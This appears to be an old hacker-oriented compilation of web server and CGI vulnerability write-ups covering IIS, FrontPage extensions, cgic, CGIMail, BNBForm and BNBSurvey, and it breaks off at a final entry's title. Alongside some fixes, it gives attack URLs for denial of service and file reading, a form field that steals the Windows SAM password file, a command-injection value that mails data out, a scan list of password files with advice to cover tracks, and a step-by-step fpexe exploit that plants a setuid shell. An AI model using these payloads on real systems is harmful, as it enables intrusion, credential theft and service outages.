http://www.victim.com/....../
Index of /....../
WINDOWS
My Documents
Program Files
FrontPage Webs
AUTOEXEC.BAT
COMMAND.COM
Shares are accessible via personal Web Server.
For Example, I tried sharing my WinZip Directory as 'Test' and
strangely enough http://127.0.0.1/Test/ brought up the WinZip
Directory.
Under Windows NT 4.0 SP3:
[ It seems NT interprets N+3 dots as '.' ]
C:\TEMP> cd ..\
C:\>
[ It seems NT interprets '..\' as '..'. Makes sense as '\' is directory
delimiter character for paths. ]
C:\TEMP> cd ...\
C:\>
C:\> cd TEMP
C:\TEMP> cd ...\WINNT
C:\WINNT>
[ Whoa. Now NT interprets '...\' as '..'. Bad. Real bad. ]
[ But it doesn't work in directories more that one deep. ]
C:\TEMP> cd ..\...\
C:\>
C:\TEMP\TEST> cd ..\...
C:\TEMP> cd ....\
C:\TEMP>
[ Hmm. Now NT interprets '....\' as '..'. Weird. But wait it gets stranger. ]
C:\TEMP> cd ....\
C:\TEMP> cd ....\
C:\>
[ The first '....\' as interpreted as '.' and the second as '..'.But:]
[ Now in a directory two levels deep the first '....\' is interpreted as '..'
while the second one gives an error. The first '..' is interpreted as '.'
while the second one works as normal. ]
The '....\' problems seems to appear for any such string with N+4 dots
followed by a slash. I can only guess on the many other ways they
may try to interpret pathnames.
Name: upgraged to IIS 4.0
Date: 14 Jan 1999
Risk: Admin Brute-force hack and Buffer overflow
Versions: those that upgraged to IIS 4 from IIS 2 or 3.
Author: mnemonix (mnemonix@GLOBALNET.CO.UK)
Microsoft's IIS 4 limits Web-based administration to the loopback
address (127.0.0.1) by default as a security measure. However, a
relict left over from IIS 2 and 3, ism.dll left in the /scripts/iisadmin
directory, allows users / attackers to access the previous ISAPI
application used for remote web-based administration from an
non-loopback IP address. On accessing a URL similar to the following
http://www.server.com/scripts/iisadmin/ism.dll?http/dir
a user will be prompted for a UserID and password and if successful
authentication takes place they are given access to sensitive server
information. Note however, that changes can no longer be made with
this application. It does however provide an attacker with a means
to brute force / guess the Administrators password and if successful
an enormous amount of reconnaisance work can be achieved through
the application's use.
This application is now rundundant and can be removed. It plays no
part in IIS 4's Web-based administration.
Added to this if IIS 4 is installed from the NT Option Pack and
Frontpage Server Extentions are installed too, the fpcount.exe utility
found in the /_vti_bin/ contains an exploitable buffer overrun. I
advised on this last year and MS produced an updated version in
FPServer Extentions 98 which can be downloaded from the MS website.
Fpcount.exe (c) mnemonix
Microsoft's FrontPage extentions comes with a utility called fpcount.exe
- this is used as a webhit counter. If you access this program directly
you can cause a buffer over flow and/or tie up the processor at 100%.
The two can be combined into a denial of service attack that will
cause IIS to stop servicing requests:
http://www.server.com/scripts/fpcount.exe?Page=default.htm|Image=3|Digits=10000
Note here we are asking fpcount to calculate to 10000 digits. This
will cause the buffer overrun and Dr Watson, or whatever the specified
debugger is, will kick in saying so. When Dr Watson loads here it
takes up about 4000K of memory. If an attacker reloads the page a
number of times the remote machine will soon run dry of memory. To
then finally kill IIS an attacker would enter the following URL:
http://www.server.com/scripts/fpcount.exe?Page=default.htm|Image=3|Digits=-10000
With this negative integer the program's buffer won't overflow and
will tie up the processor at 100% while it tries to generate 10000
digits. The largest number I've been able to send without problems
is -99999999. This will kill IIS for upto 10 hrs depending on the
speed of the processor. Even when it has finished calculating it is
still short on available memory.
Name: cgic library
Date: 10 Jan 1999
Risk: Buffer overflow
Versions: Thomas Boutell's cgic library (version 1.05)
Distro: http://www.boutell.com/
program has a buffer overflow in cgiFormEntryString() which is
almost certainly exploitable.(Although it obviously depends on the
program that has linked with cgic.)
The fault is because he is checking if 'len =3D=3D avail' before
examining = each input character, but if the character is not CR
or LF then 'len' is not checked after outputting the LFs but before
outputting the character.
(i.e. it checks that there is 1 byte free in the buffer, but then
it can sometimes place 2 bytes in the buffer before checking again.)
i.e. if 'avail' is 'n' and the 'n-1'th character is LF or CR and
the 'n'th character is *not* LF or CR then the character will be
written at the end of the buffer (because avail =3D=3D sizeofbuffer-1),
and then len =3D avail= + 1.
Since he always checks for 'len =3D=3D avail' rather than 'len>=3D
avail',= this means the overflow detection never kicks in,and the
routine keeps copying until the end of the input. The attacker is
free to copy whatever data they desire into the memory above the buffer.
As an example, the cgictest program can be segfaulted by:
$ REQUEST_METHOD=3DGET
QUERY_STRING=3D'address=3D<240 x letter 'A'>%0A<1000=x letter 'A'>'
./cgictestContent-type: text/html
cgic test
Name:
Address:
Segmentation fault (core dumped)
Oh, one other point is that the 'cgiSaferSystem' function appears
to be seriously misguided. It is merely escaping the '|' and ';'
characters, which is of course totally inadequate.
(As an aside, I think it is safe to use Perl's quotemeta function
before sending a string to a shell. It puts a backslash before all
characters except [A-Za-z0-9_]. )
Name: HTTP REQUEST_METHOD flaw
Date: 6 Jan 1999
Risk: could allow web server attacks to go unnoticed.
Versions: Apache/1.3.3, 1.2.7, IIS 2, 3 and 4 and others?
The problem relates to "allowable" REQUEST_METHODs when a dynamic
resource, such as a CGI script is requested. Essentially _any_
(except for HEAD, TRACE and OPTIONS) REQUEST_METHOD can be used -
even methods not defined in the HTTP protocol. Consider the following
requests which all return the requested resource.
GET /cgi-bin/environ.cgi HTTP/0.9
Azx5T8uHTRuDL /cgi-bin/environ.cgi HTTP/1.0
Even Control characters are allowed. Consider the following:
^H^H^H^H^H^H^H^H^H lots of these ^H^H /cgi-bin/environ.cgi HTTP/1.1
An attacker could issue this request in an attempt to hide their
movements. When this request is logged in the access log and
viewed using cat or more the above will appear with the IP address
removed.
# cat /var/log/httpd/access_log
or
# more /var/log/httpd/access_log
reveals
10.20.20.1 - - [05/Jan/1999:18:00:00 GMT] "GET / HTTP/1.0" 200 1098
/cgi-bin/environ.cgi HTTP/1.1" 200 2034
10.20.20.2 - - [05/Jan/1999:18:01:00 GMT] "GET /index.html HTTP/1.1"
200 1098
Using a method similar to this it is possible for an attacker to
make it appear as if the attack came from another IP address or
completely remove the whole entry by placing certain control characters
in the QUERY_STRING, too. This "hiding" works because the control
characters are interpreted when piped to STDOUT and the ^H being
the back space removes, from the screen at least, the IP address
and date and time stamp. You could use the vi editor the view the
"real" contents of the access log.
Also it affects is Microsoft's Internet Information Server, but in
the NT environment this is less of a problem because the log files
are generally viewd in Notepad and not using the "type" command,
which incidently will interpret the control characters.
As I said it's only a mild problem most likely, really, to effect
those that don't use a text editor to browse log files.
The paranoid may want to reconsider their logging entirely.Apache's
"raw" logging of the request can result in more serious problems.
Consider:
$ telnet www.foo.com http
Trying www.foo.com...
Connected to www.foo.com.
Escape character is '^]'.
GET / HTTP/1.0" 404 -9999999 "
This results in the following (combined format) log entry:
aaa.bbb.ccc.ddd - - [07/Jan/1999:14:07:41 -0500]
"GET / HTTP/1.0" 404 -9999999 "" 200 751 "-" "-"
In the "combined" log format, the same technique is possible with
the referer and user-agent, such that you can construct completely
unparseable log entries. It seems to be that newlines are the only
characters you can't weasel into a request.
Sending a null, by the way, results in this interesting effect:
209.54.21.199 - - [07/Jan/1999:14:35:27 -0500] "˜“˜y" 501 - "-" "-"
(Perhaps that will be mutilated by non 8-bit mail transport.. it's
the four characters ff f4 ff fd)
There is, however, a more important issue according to Marc Slemko
that this same feature of allowing arbitrary methods to be passed
to CGIs can result in. Many people, for some reason, insist on
using the "Limit" directive whenever they configure any access
restrictions. For example, they may do:
<Limit GET POST>
order deny,allow
deny from all
allow from 10.0.0
</Limit>
to deny all access to hosts outside of 10.0.0.0/24. That is
incorrect. In normal situations, it doesn't always lead to much
of a security risk. With many CGIs, it does. That is because
many CGIs do not properly check what method they are called with
and refuse requests if they don't understand the method. That
means it is impossible[0] to list every method that could be used
to call a script, since Apache allows for arbitrary methods to be
used.
Name: CGIMail.exe
Date: 1998
Versions: by Stalkerlabs for a Win32 platform.
Risk: file steal
Author: mnemonix
CGIMail.exe is a Web to e-mail gateway program.Basically, you fill
in an on-line form and it is e-mailed off. The contents of the form,
amongst other things, contains the following :
<form action="/scripts/CGImail.exe" method="POST" NAME="TestForm">
<input type=hidden name="$File$" value="/scripts/template.txt">
<input type=hidden name="$Subject$" value="CGImail Example">
<input type=hidden name="$LocationOK$" value="/ok.html">
<input type=hidden name="$LocationKO$" value="/ko.html">
<input type=hidden name="$To$" value="mnemonix@globalnet.co.uk">
<input type=hidden name="$Optional$" value="mmmh, no!">
There is also another possible "hidden" input type and this takes
the following shape:
<input type=hidden name="$Attach$" value="">
This allows you to attach a file to the e-mail - any file the
IUSR_COMPUTERNAME account has access to. So if the NT server is
poorly configured as far as security is concerned you could put
in "c:\winnt\repair\sam._" as the input's value:
<input type=hidden name="$Attach$" value="c:\winnt\repair\sam._">
Note - Using %windir% won't work - you need the full path.
So here's how the hack would go :
You go to their form page and view the source. Save this source to
the desktop and make some editions to it, like put your e-mail address
in (use a temporary one!) and put the $Attach$ entry in. Save these
changes and then load the new page and click on send.
All things going well you should receive a compressed copy of their
SAM which you can then get to work on, using l0phtcrack to glean the
passwords. CGIMail can be made more secure: the cgimail.ini can be
edited so that only certain referrers are accepted but only around
50% of the machines I've seen with this on have configured it so.
Name: Unauthorized ODBC Access via RDS and IIS
Date: 1998
Versions: IIS 4.0, MS Remote Data Services v1.5, MS Visual Studio v6.0
Risk: Unauthorized ODBC Access via RDS and IIS
According to the notice issued by Microsoft, "a web client connecting
to an IIS server can use the RDS DataFactory object (installed with
NT Option Pack) to direct that server to access data using an
installed OLE DB provider. This includes executing SQL calls to
ODBC-compliant databases using the ODBC drivers installed on the server."
EXAMPLE
"A web-client could issue a SQL command along with the name or IP
address of a remote SQL server, a SQL account and password, database
name, and a SQL query string. If the request is valid (remote server
is reachable by the IIS server, user account and password are correct,
database name is valid), the query results will be sent via HTTP
back to the client. While it is true that this requires significant
inside information, the potential accessibility of this information
should not be underestimated..."
The problem is compounded by using other software, such as Microsoft
DataShape Provider and Microsoft JET OLE DB provider (included with
MDAC 2.0 in Visual Studio 98) because they allow shell commands to
be executed -- we're certain you get this gist of this implication...
SOLUTION
Consider disabling the implicit remoting functionality in the DataFactory
object -- it's dangerous. To do so, remove the following Registry keys:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
\W3SVC\Parameters\ADCLaunch\RDSServer.DataFactory
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\
Parameters\ADCLaunch\AdvancedDataFactory
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\
Parameters\ADCLaunch\VbBusObj.VbBusObjCls
Additionally, the NT Resource Kit includes the utility DELREG.EXE
which can be used to remove the above mentioned keys.
Reference Microsoft's Knowledge Base article Q184375, for security
implications of RDS 1.5, IIS 4.0, and ODBC.
Name: newdsn.exe & getdrvrs.exe
Date: 1998
Versions: Internet Information Server 3.0
Risk: default scripts can bring hack
Source: mnemonix
When IIS is installed it will create a tools sub-directory off of
the /scripts directory. It will place a number or related .exes in
here that are used for creating ODBC datasources for online databases.
These executables leave cause two security concerns.
The first is that using these .exes a remote attacker can create a
file with any extention in any directory that the anonymous internet
account has NTFS write permissions to. If FAT is in use then they
can write to anywhere. The exe that creates the file is actually
dsnform.exe. Lets say they had write access to any of your directories
with the "execute" permission. If they knew the real path to this
directory they can create a file with a .exe extention - eg
run.exe. Assuming they have write permissions to your scripts
directory they would enter the following URLs:
http://www.server.com/scripts/tools/getdrvrs.exe
From here they would choose the *.mdb option and be taken to:
http://www.server.com/scripts/tools/dsnform.exe?Microsoft+Access+Driver+(*.mdb)
Here they would enter a datasource name to create (can be anything
you want)and then specifies the database name. This is where the
attacker would enter something like c:\inetpub\scripts\run.exe.
They then click on create datasource (making sure that "Create new
database with this name" is checked). They should be taken to the following:
http://www.server.com/scripts/tools/newdsn.exe?
driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=sdsd&dbq=hmm.mdb&newdb=CREATE_DB&attr=
After they had created run.exe they enter the following URL:
http://www.server.com/scripts/run.exe
Because run.exe is not a real executable and is infact an mdb file
with a .exe extention it has problems executing. Create the file
and run it from a command prompt. You'll see invalid CPU calls and
it will ask you to "Terminate" or "Ignore". What actually happens
is NT tries running it and thinks it's a 16-bit program so will
launch an NTVDM (NT's Virtual DOS machine -for running 16-bit apps).
Now if this is run via the web because it is non-interactive with
the desktop you don't get the prompt to terminate or ignore - the
NTVDM just hangs. If this attacker now refreshes his page a number
of times you'll soon start to eat into your virtual memory - a new
NTVDM is loaded each time. By the way - this invalid CPU call is
actually an NTVDM buffer overflow - there is no known way to execute
arbitary code with it - you'll need to inject your assembly code
into the run.exe mdb file and this can't be done from across the
web without having some other means to do this. This is a simple
denial of service.
The other problems with this set of executables is that existing
datasources can be modifed if the database file name is known -
instead of choosing "Create new database with this name" choose
"This is an existing Access database". This will re-write the ODBC
database making it now inaccessible - another Denial of service
attack.
http://vulnerable.site.com/scripts/tools/newdsn.exe?
driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=Evil+samples+from+microsoft
&dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb=CREATE_DB&attr=
will create file evil.html in wwwroot directory.
evil.html in fact is a Microsoft Access Database.
Solution: delete newdsn.exe :)
Name: Index Server Exploit
Date: 1998
Versions: Internet Information Server 3.0 (Index Server Exploit)
Risk: default scripts can bring hack
If the system administrator has left the default sample files on
the Internet Information server, a hacker would have the opportunity
of narrowing down their search for a username and password. A simple
query of a popular search engine shows about four hundred websites
that have barely modified versions of the sample files still installed
and available. This file is called queryhit.htm. Many webmasters
have neglected to modify the search fields to only search certain
directories and avoid the script directories. Once one of these sites
is located a search performed can easily narrow down the files a
hacker would need to find a username and password. Using the sample
search page it is easy to specify only files that have the word
password in them and are script files (.asp or .idc files, cold
fusion scripts, even .pl files are good). The URL the hacker would
try is
http://servername/samples/search/queryhit.htm
then the hacker would search with something like "#filename=*.asp"
When the results are returned not only can one link to the files but
also can look at the "hits" by clicking the view hits link that uses
the webhits program. This program bypasses the security set by IIS
on script files and allows the source to be displayed. Even if the
original samples are not installed or have been removed a hole is
still available to read the script source. If the server has Service
Pack 2 fully installed (including Index Server) they will also have
webhits.exe located in the path
http://servername/scripts/samples/search/webhits.exe
This URL can preface another URL on that server and display the
contents of the script.
To protect your server from this problem remove the webhits.exe file
from the server, or at least from it's default directory. I also
recommend that you customize your server search pages and scripts
(.idq files) to make sure they only search what you want - such as
plain .HTM or .HTML files. Index Server is a wonderful product but
be sure you have configured it properly.
Name: Executable Directories in IIS 4
Date: August 31, 1998
Versions: Internet Information Server 4.0
Risk: If a non-administrative user can place executable code into
a web site directory which allows file execution, the user
may be able to run applications which could compromise the
web server.
The following directories are marked executable by default on an
install of IIS 4.0:
/W3SVC/1/ROOT/msadc
/W3SVC/1/ROOT/News
/W3SVC/1/ROOT/Mail
/W3SVC/1/ROOT/cgi-bin
/W3SVC/1/ROOT/SCRIPTS
/W3SVC/1/ROOT/IISADMPWD
/W3SVC/1/ROOT/_vti_bin
/W3SVC/1/ROOT/_vti_bin/_vti_adm
/W3SVC/1/ROOT/_vti_bin/_vti_aut
In a default install, the physical drive mappings will be:
msadc c:\program files\common\system\msadc
News c:\InetPub\News
Mail c:\InetPub\Mail
cgi-bin c:\InetPub\wwwroot\cgi-bin
SCRIPTS c:\InetPub\scripts
IISADMPWD C:\WINNT\System32\inetsrv\iisadmpwd
_vti_bin Not present by default - installed with FrontPage extensions
Access to the physical directories can be obtained through drive
sharing, remote command shells (e.g., rcmd, telnet, remote.exe),
HTTP PUT commands, or FrontPage. None of these methods are available
in a default install, but are often added by administrators. The
default NTFS permissions are overly permissive, and allow change
control (RWXD) to the Everyone group by default, with the exception
of msadc which is full control to Everyone.
Due to the sensitive nature of these directories, it is recommended
that NTFS access permissions should be:
Administrators, LocalSystem: Full Control
Everyone: Special Access(X)
Recommended Action:
Administrators should verify access permissions on all virtual HTTP
server directories that are marked executable. See below for recommended
permissions.
All security patches that protect against local attacks should be applied
to HTTP servers due to the possibility of the server executing code
locally. See http://www.microsoft.com/security for details.
Name: Microsoft Frontpage
Date: 10 july 1998
Versions: Microsoft FrontPage Extensions, versions 1.0-1.1
Risk: unauthorized users can vandalize authorized users' files by
appending to them or overwriting.On a system with server-side
includes enabled, remote users may be able to exploit this
bug to execute commands on the server.
Distro: www.microsoft.com/frontpage/documents/bugQA.htm
Source: The MH DeskReference 1.2 by Rhino9
The server extensions are installed server side to provide added
functionality for frontpage web authors. These extensions function
as "web bots" if you will, giving web authors that use frontpage
easy access to complex web and HTML functions.
The hacces.ctl file can give you a lot of information, including
the location of the service password file. A complete example:
# -FrontPage-
Options None
<Limit GET POST PUT>
order deny,allow
deny from all
AuthName default_realm
AuthUserFile c:/frontpage\ webs/content/_vti_pvt/service.pwd
AuthGroupFile c:/frontpage\ webs/content/_vti_pvt/service.grp
a list of the Internet Information server files location in relation
to the local hard drive (C:) and the web (www.target.com)
C:\InetPub\wwwroot <Home>
C:\InetPub\scripts /Scripts
C:\InetPub\ftproot default for ftp
C:\InetPub\wwwroot\_vti_bin /_vti_bin
C:\InetPub\wwwroot\_vti_bin\_vti_adm /_vti_bin/_vti_adm
C:\InetPub\wwwroot\_vti_bin\_vti_aut /_vti_bin/_vti_aut
C:\InetPub\cgi-bin /cgi-bin
C:\InetPub\wwwroot\srchadm /srchadm
C:\WINNT\System32\inetserv\iisadmin /iisadmin
C:\InetPub\wwwroot\_vti_pvt
FrontPage creates a directory _vti_pvt for the root web and for
each FrontPage sub-web. For each FrontPage web with unique permissions,
the _vti_pvt directory contains two files for the FrontPage web
that the access file points to:
service.pwd
- contains the list of users and passwords for the FrontPage web.
service.grp
- contains the list of groups (one group for authors and one for
administrators in FrontPage).
On Netscape servers, there are no service.grp files. The Netscape
password files are:
administrators.pwd for administrators
authors.pwd for authors and administrators
users.pwd for users, authors, and administrators
C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM
http://www.victim.com/samples/search/queryhit.htm
- Internet Information Index Server sample
If Index Information Server is running under IIS, service.pwd (or
any other file) can sometimes be retrieved. Search for
"#filename=*.pwd"
FP extensions are fundamentally stupid in nearly all respects of
implementation. Firsly, they maintain a crapload of meta files (one
shadow for every file managed) then they have all of their config
info in a bunch of text files in the _vti_pvt directory. (Oh,BTW,
there exists a very HUGE privacy hole in the FP extenstions). If
you go to a site that has FP extensions, just pick any directory in
the URL, yank the filename off, and put "_vti_cnf" there instead...
you'll get a complete listing of all the files in the real directory.
With this you can snatch files that weren't meant to be seen by the
public...and it's available on ALL FP enabled sites.
Frontpage 98 fucks up the permissions so bad that it makes the
_vti_pvt directory WORLD WRITABLE!!! No shit, you can do whatever
you want to stuff in that directory.
Scanning PORT 80 (http) or 443 (https) options:
GET /__vti_inf.html #Ensures that frontpage server extensions
are installed.
GET /_vti_pvt/service.pwd #Contains the encrypted password files.
Not used on IIS and WebSite servers
GET /_vti_pvt/authors.pwd # On Netscape servers only. Encrypted
names and passwords of authors.
GET /_vti_pvt/administrators.pwd
GET /_vti_log/author.log #If author.log is there it will need to
be cleaned to cover your tracks
GET /samples/search/queryhit.htm
If service.pwd is obtained it will look similar to this:
Vacuum:SGXJVl6OJ9zkE
Turn it into DES format:
Vacuum:SGXJVl6OJ9zkE:10:200:Vacuum:/users/Vacuum:/bin/bash
Name: M$ FP extensions to Apache under UNIX.
Risk: remote root
Versions: Microsoft Frontpage 98 server extensions for Apache only
Date: 22 October 1997
Found: Marc Slemko
Details: http://www.worldgate.com/~marcs/fp/
You want a rogue program to run, and the victim has anonymous uploadable
FTP (or you sign up for a service and you want to run binaries on
the server, but can't):
mkdir _vti_bin
cd _vti_bin
put [whatever bin]
Web browser:
http://www.victim.com/somedirectorystructure/_vti_bin/trojanfile
Boom you've got stuff runnin on that server.
They configure the Netscape server the same way.
Unless you make a special NSAPI or Apache module, you're vulnerable
as a freshly born ewe of a cloned sheep named Dolly!
And why is this possible???
ScriptAlias "*/_vti_bin/*" /somedirpath
<Object ppath="*/_vti_bin/*">
...
</Object>
Solution:
Custom NSAPI / Apache module:
NameTrans fn="prefix_fpdir" prefix_path="/somedir/cgi-bin/frontpage"
name="cgi"
Custom Stub:
/somedir/cgi-bin/frontpage/cgi-wrapper [path to real binary]
Microsoft's FrontPage 98 server side extensions for Apache under
Unix include a small setuid root program (fpexe) to allow the
FrontPage CGIs to be run as the user who owns the pages as opposed
to them all running as the user the web server runs as. This is
necessary to get around gaping loopholes that occur when all FrontPage
documents are owned by the user the web server runs as.
Before you can understand the holes in the FP server extensions,
you need to understand what I mean when I talk about the "key".
When the Frontpage-modified Apache server starts up, it generates
a pseudo-random string of 128 ASCII characters as a key. This key
is written to a file that is only readable by the user that starts
Apache; normally root. The server than passes the key to fpexe.
Since fpexe is setuid root, it can compare the key stored on disk
with the one it was passed to be sure they match; if not, it refuses
to run. This is used in an attempt to guarantee that the only thing
calling fpexe is the web server. Used properly this is a powerful
part of possible security precautions. I am not convinced that the
generation of the key is cryptographically adequate and it may be
subject to intelligent guessing attacks, however I have not looked
at it to see. As discussed later, the cryptographical robustness of
the key doesn't really matter.
There are a number of problems with the setuid root fpexe program.
I am not attempting a complete description of all the problems and
their possible consequences and fixes, just making a light sweep over
the top. The more obvious problems include:
Return codes from library calls are not properly checked. An example:
f = fopen( buf, "r");
fgets( key, 129, f );
fclose(f);
If fopen() failed (easy to make it do so with ulimit -n), then if your
system did not core dump on a fgets() on a closed descriptor you
would end up with an empty key. It is obviously easy to guess an empty
key. I am not aware of any systems that exhibit this exact problem,
but it is possible. Return codes need to be checked, especially in
setuid programs. Proper bounds checking is not done. This leads to
obvious buffer overflows. An example:
strcpy( work, FPDIR );
strcat( work, getenv("FPEXE") );
I won't go into the details of what this does, but if you could cause
this code to be executed, you could insert your own code on most
systems and likely gain access to the UID the program is running
as (root). This proves to be an unnecessary effort to go to, because
this code is only executed if you have the correct key; if you have
the correct key,there are far easier ways to gain access. Buffer
overflows are one of the most popular (albeit normally boring)
types of new holes in programs being publicized.
It does not clean the environment variables before starting the CGI.
Again, this means you can gain access to the UID that the program
runs as (not root). If the rest of the program was securely written,
this could possibly be an issue however it is of little consequence
currently due to the gaping holes in other areas.
It assumes that if you have the key, then you are authorized to have
it run any program as nearly any user you tell it to. The process
you are running also needs to be in the same process group as the
web server; all CGIs run by the server, however, are in the same
process group so if you can run a CGI script you can work around
the second check. It does no further checks to be sure you are
running as a user that should be allowed to run FrontPage CGIs (other
than disallowing UID 0; the compiled version also disallows gid 0,
however the source version doesn't) or that you are running a Frontpage
related program. This means that if you get the key file, you can
gain access to any non-root UID on the server. On 99% of boxes, that
will give you root. For example, if binaries are owned by bin then
become bin and replace one that is run by root from cron. The
possibilities are endless once you obtain this level of access.
And, finally, the worst: it passes the key to fpexe via an
environment variable! On most systems, environment variables are
available via "ps -e". This means that anyone with access to run
programs on the system (and there are often more people than you
think that are able to do this, due to things such as CGIs) can
see it as it is being passed from the web server to fpexe. Recall
that once you have the key, there is little remaining before you
can get full access to the system.
Demonstration of an exploit
I.First I have to find the key. This can be done by using ps to get
the environment from fpexe. To do this, I first setup a loop running
(this assumes a real aka. Bourne shell; if you use the bastard
C-shell it obviously won't work as written):
while true; do ps axuwwe -U nobody | grep FPKEY; done
II.Then I used ZeusBench, a very simple HTTP benchmark program, to
generate load on the server:
zb localhost /fp/_vti_bin/shtml.exe -c 50 -t 30
Any method of generating traffic could be used, including a web
browser. Since I am using a very inefficient method of looking for
a process, I need to generate lots of traffic to increase my chance
of finding one. It certainly isn't likely to happen on the first
request. The requests do have to be made to a FP CGI script so it
will call fpexe.
III.Before long, I had what I wanted from ps (manually wrapped):
nobody 28008 0.0 0.2 180 76 ?? DN 6:51PM 0:00.01
SCRIPT_URL=/fp/ SCRIPT_URI=http://localhost/fp/ FPUID=1000 FPGID=1000
FPEXE=/_vti_bin/shtml.exe FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E77
3FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CD
F760364E59 HTTP_USER_AGENT=ZeusBench/1.0 HTTP_ACCEPT=*/*
PATH=/sbin:/usr/sbin:/bin:/usr/local/bin:/usr/bin:/usr/local/sbin/
SERVER_SOFTWARE=Apache/1.2.5-dev SERVER_NAME=localhost SERVER_PORT=80
REMOTE_HOST=localhost REMOTE_ADDR=127.0.0.1
DOCUMENT_ROOT=/usr/local/etc/httpd/htdocs SERVER_ADMIN=marcs@znep.com
SCRIPT_FILENAME=/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe
REMOTE_PORT=2849 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.0
REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/fp/_vti_bin/shtml.exe
SCRIPT_NAME=/fp/_vti_bin/shtml.exe fpexe
IV.Then I need to use the key to make fpexe think I am the web server. I
can't just run this from a normal shell, since I need to be in the same
process group as the web server. A simple CGI suffices:
#!/bin/sh
echo Content-type: text/plain
echo
export FPUID=3;
export FPGID=3;
export FPEXE=../../../../../../../../tmp/gotcha;
export FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E773FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CDF760364E59
/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe 2>&1
V.I need a program for it to run (/tmp/gotcha in this example):
#!/bin/sh
/usr/bin/id
cp /bin/sh /tmp/.mysh
chmod u+s /tmp/.mysh
VI.Then I simply make a HTTP request for the CGI script. I can then
run /tmp/.mysh at my leisure to gain access to UID 3 (bin on my
system) and do what I want from there.
Fixes
The Apache web server has a suEXEC wrapper designed to allow for
a similar thing; that is, execution of CGI scripts under a user's
own UID. It is very restrictive (some would say anal) about what it
allows: there is a reason for that, as Microsoft's obviously failed
attempt at security shows. It is possible that suEXEC could be
adapted to function in conjunction with FrontPage, however it will
not work without source modifications.
One short term workaround until Microsoft addresses the issue is
to simply remove the FrontPage setup from your system. This can be
done temporarily by removing the setuid bit from fpexe (ie. chmod
u-s fpexe). This will prevent all the pretty FrontPage CGIs from
working. It will prevent people from uploading new pages using
FrontPage's own methods (ie. they can tell FrontPage to use FTP
and they will still be uploaded), but generic content that doesn't
rely on FrontPage's server side CGI scripts should work fine.
Another possible workaround is to prevent users from running the
ps command. This could have a very negative impact on your system
if things depend on it, and is a poor solution however it may be
the best one for you. On systems that don't use a procfs (/proc)
based ps, you can normally simply remove world execute permissions
from it to disable it. If you are on a system like Linux that
normally uses a procfs for ps to get information, this doesn't
solve the problem because someone can read from the procfs directly.
Last of all, since this problem only occurs when using FrontPage
with the mod_frontpage extensions, it is possible to use the FrontPage
extensions on Apache without using mod_frontpage or fpexe.
Unfortunately, this conversion is not easy. It means that, after
recompiling Apache without any of the Microsoft modifications (just
commenting out mod_frontpage from the Configuration file may be
enough; haven't checked) you have to either manually copy the FrontPage
CGIs to the appropriate subdirectory under each user's web directory
and make them setuid to that user or copy them (or make links) and
don't make them setuid to that user. The former preserves the current
ownership. With the latter all the user's web files will need to
be changed back to being owned by the user the web server runs as
or else they will be unable to manipulate them and some of the FP
CGIs won't run correctly. This is a pain and brings you back to the
horrible security practice of letting anyone who can run CGIs modify
any FrontPage user's files. Although this may be the best temporary
workaround (although quite annoying if you have a large number of
users), I can not go into step by step details of how to accomplish
this change because I am not fully familiar with various ways of
using the FrontPage extensions. The Microsoft FP security consi-
derations document (part of the FP98 Server Extensions Resource Kit)
provides some more details of the method in which the CGIs are run
without fpexe.
On a side note, Microsoft actually modifies the server name returned
to clients when the FrontPage patches are installed in Apache to include
"FrontPage/x.x.x". That is fine, however it gives anyone connecting
to your server the ability to determine the chances of them being
able to break into your system using holes in the FP extentions.
Name: BNBForm (bnbform.cgi)
Risk: remote users can read arbitrary files on the filesystem.
Date: December 3, 1998
Found: duke (duke@viper.net.au - duke@el8.org)
Distro: http://bignosebird.com/carchive/bnbform.shtml
The problem is that this form sends a responding email to users
with the contents of any file contained in the 'automessage' variable.
This can be used to specify any file that is readable by the uid
of the webserver.
There is also a security mechanism in place to prevent you from
running this cgi script off of forms on other servers, using a
$SECURE_NAME variable, but this is easily bypassable by copying the
"submit_to" field off of the intended form onto your malicious form.
This mechanism is disabled by default.
<FORM METHOD="POST" ACTION="http://www.victim.com/cgi-bin/bnbform.cgi">
FIELDS MARKED WITH * ARE REQUIRED!
Your Name:* <INPUT TYPE="TEXT" NAME="name" SIZE=35 MAXLENGTH=50>
<!-- SCRIPT CONFIGURATION SECTION -->
<INPUT TYPE="HIDDEN" NAME="autorespond" VALUE="yes">
<INPUT TYPE="HIDDEN" NAME="automessage" VALUE="/etc/passwd">
<INPUT TYPE="HIDDEN" NAME="ok_url" VALUE="http://127.0.0.1/thanks.html">
<INPUT TYPE="HIDDEN" NAME="not_ok_url" VALUE="http://127.0.0.1/oops.html">
Name: BNBSurvey (survey.cgi)
Risk: remote users can execute commands with web server privs
Date: December 3, 1998
Found: duke (duke@viper.net.au - duke@el8.org)
Distro: http://bignosebird.com/carchive/survey.shtml
BNBSurvey is a CGI for doing simple surveys.
This script has 2 modes of operation - the first being that people
can vote as many times as they like, and the second being that the
people can only vote once every hour. The first operation is the
default.
If this second mode of operation is enabled though, remote users
can use metacharacters in the 'filebase' variable to execute arbitrary
commands. (ie. if $ENFORCEMENT = "1" is set in the cgi script).
<FORM METHOD="POST" ACTION="www.victim.com/cgi-bin/survey.cgi">
<input type=hidden name=action value="VOTE">
<input type=hidden name=filebase value="bleh; /bin/mail you@your_email_address.com
<PRE>
Your Gender
<input type=radio name=ITEM1 value="0">Male
<input type=radio name=ITEM1 value="1">Female
<input type=radio name=ITEM1 value="2">Neuter
<INPUT TYPE="submit" VALUE="VOTE!">
Name: Classifieds (classifieds.cgi)
